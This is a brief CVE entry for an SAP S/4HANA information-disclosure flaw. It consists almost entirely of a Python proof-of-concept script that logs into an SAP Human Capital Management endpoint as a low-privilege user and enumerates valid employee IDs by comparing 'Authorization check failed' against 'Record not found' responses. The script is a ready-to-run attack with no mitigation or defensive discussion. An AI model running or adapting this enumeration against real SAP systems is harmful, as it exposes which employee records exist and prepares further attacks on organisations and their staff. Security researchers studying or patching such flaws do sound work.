CVE-2026-34264 SAP S/4HANA信息泄露漏洞

import requests # SAP S/4HANA Information Disclosure PoC # Target: SAP Human Capital Management endpoint # Description: Enumerates valid employee IDs by analyzing response messages. target_url = "https://<sap_host>/sap/bc/webdynpro_abap/sap/hcm_manage_employee" session = requests.Session() # 1. Authenticate as a low-privilege user login_payload = { 'sap-user': 'low_priv_user', 'sap-password': 'password', 'sap-client': '001' } session.post("https://<sap_host>/sap/bc/webdynpro_abap/sap/login", data=login_payload) # 2. Function to check if an ID exists based on error messages def check_employee_id(emp_id): params = {'employee_id': emp_id} response = session.get(target_url, params=params) # Analysis: The system returns a specific message like "Authorization check failed" # if the ID exists but access is denied, vs "Record not found" if it doesn't exist. if "Authorization check failed" in response.text: return f"[+] ID {emp_id} exists (Access Denied - Valid ID)" elif "Record not found" in response.text or "does not exist" in response.text: return f"[-] ID {emp_id} does not exist" else: return f"[?] ID {emp_id} returned unknown response" # 3. Enumeration loop print("Starting enumeration...") for i in range(1000, 1010): result = check_employee_id(i) print(result)